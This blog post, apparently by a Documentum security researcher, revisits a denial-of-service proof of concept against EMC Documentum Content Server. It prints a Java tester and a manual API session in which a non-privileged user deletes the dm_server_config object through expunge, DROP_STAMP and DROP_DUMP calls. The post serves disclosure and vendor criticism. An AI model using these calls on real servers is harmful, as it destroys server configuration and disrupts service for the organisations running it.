Trap for negligent developer

Do you remember my last quote “if you blindly apply everything that is written here without further research you are bloody idiot“? It seems that EMC coders again get caught in this stupid trap. A half year ago I published a couple of post about deny of service in Content Server and demonstrated how deny of service could evolve into privilege elevation, here these posts: Is it possible to compromise Documentum by deleting object? Part I, Is it possible to compromise Documentum by deleting object? Typical mistakes and Is it possible to compromise Documentum by deleting object? Solution. Let’s review to the DoS PoC, here it is:

/**
 * @author Andrey B. Panfilov <andrew@panfilov.tel>
 */
public class Test {
 
    public static void main(String[] argv) throws Exception {
        String docbase = argv[0];
        String userName = argv[1];
        String password = argv[2];
        IDfSession session = null;
        try {
            session = new DfClient().newSession(docbase, new DfLoginInfo(
                    userName, password));
 
            IDfUser user = session.getUser(null);
 
            if (user.isSuperUser() || user.isSystemAdmin()) {
                System.out.println("User " + userName
                        + " has too wide privileges, choose different one");
                System.exit(0);
            }
 
            Set<String> saveMethods = new LinkedHashSet<String>();
            for (Object o : TypeMechanics.getAllInstances()) {
                saveMethods.add(((TypeMechanics) o).getExpungeMethod());
            }
            for (String method : saveMethods) {
                System.out.println(method + "\tis "
                        + (checkDmServerConfig(session, method) ? "" : "not ")
                        + "vulnerable for dm_server_config objects");
            }
        } finally {
            if (session != null) {
                session.disconnect();
            }
        }
    }
 
    public static Boolean checkDmServerConfig(IDfSession session, String method)
        throws DfException {
        try {
            session.beginTrans();
            IDfPersistentObject object = (IDfPersistentObject) session
                    .getServerConfig();
            object.revert();
            IDfList params = new DfList(new String[] {"OBJECT_TYPE",
                "i_vstamp", });
            IDfList types = new DfList(new String[] {"S", "I", });
            IDfList values = new DfList(
                    new String[] {object.getType().getName(),
                        String.valueOf(object.getVStamp()), });
            try {
                session.apply(object.getObjectId().getId(), method, params,
                        types, values);
            } catch (DfException ex) {
                return false;
            }
            try {
                object.revert();
            } catch (DfException ex) {
                return true;
            }
            return false;
        } catch (DfException ex) {
            return false;
        } finally {
            session.abortTrans();
        }
    }
 
}

What makes this code smelly? I believe this code smells a lot, but one thing makes it terribly smelly – exception handling:

            try {
                session.apply(object.getObjectId().getId(), method, params,
                        types, values);
            } catch (DfException ex) {
                return false;
            }

There is a special cauldron in the Hell for programmers who handle exceptions like me. Let’s check a couple of commands manually…

Connected to Documentum Server running Release 7.2.0020.0177  Linux64.Oracle
Session id is s0
API> begintran,c,
...
OK
API> retrieve,c,dm_server_config where object_name='TEST'
...
3d024be980000102
API> apply,c,3d024be980000102,dmScopeConfigExpunge
...
q0
API> ?,c,q0
result
------------
F
(1 row affected)
[DM_DATA_DICT_E_SCOPE_CONFIG_CANT_FETCH]error:  
     "Cannot fetch - Invalid object ID '3d024be980000102'."

[DM_OBJ_MGR_E_FETCH_BAD_TYPE]error:  
     "attempt to create object of type  failed because type did not exist"


API> revert,c,3d024be980000102
...
OK
API> apply,c,3d024be980000102,dmDisplayConfigExpunge
...
q0
API> ?,c,q0
result
------------
F
(1 row affected)
[DM_DATA_DICT_E_DISPLAY_CONFIG_CANT_FETCH]error:  
       "Cannot fetch - Invalid object ID '3d024be980000102'."

[DM_OBJ_MGR_E_FETCH_BAD_TYPE]error:  
        "attempt to create object of type  failed because type did not exist"


API> revert,c,3d024be980000102
...
OK

Keep going…

API> apply,c,3d024be980000102,DROP_STAMP
...
q0
API> ?,c,q0
result
------------
F
(1 row affected)
[DM_OBJ_MGR_E_DELETE_MISMATCH]error:  
     "version mismatch on delete of object 3d024be980000102: version supplied was 0"

[DM_OBJ_MGR_E_FETCH_FAIL]error:  
      "attempt to fetch object with handle 3d024be980000102 failed"


API> revert,c,3d024be980000102
...
[DM_API_E_EXIST]error:  
      "Document/object specified by 3d024be980000102 does not exist."

[DM_SYSOBJECT_E_CANT_FETCH_INVALID_ID]error:  
      "Cannot fetch a sysobject - Invalid object ID : 3d024be980000102"

[DM_OBJ_MGR_E_FETCH_FAIL]error:  
      "attempt to fetch object with handle 3d024be980000102 failed"

WTF? Continuing…

API> apply,c,3d024be980000102,DROP_DUMP
...
q0
API> ?,c,q0
result
------------
F
(1 row affected)
[DM_DUMP_E_OPEN_TRANSACTION]error:  
      "The destroy Dump operation cannot be executed while 
      inside of a user transaction."

API> abort,c
...
OK
API> apply,c,3d024be980000102,DROP_DUMP
...
q0
API> ?,c,q0
result
------------
T
(1 row affected)

API> revert,c,3d024be980000102
...
[DM_API_E_EXIST]error:  
      "Document/object specified by 3d024be980000102 does not exist."

[DM_SYSOBJECT_E_CANT_FETCH_INVALID_ID]error:  
      "Cannot fetch a sysobject - Invalid object ID : 3d024be980000102"

LOL 🙂

One thought on “Trap for negligent developer

  1. Pingback: To sell or not to sell… | Documentum in a (nuts)HELL

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s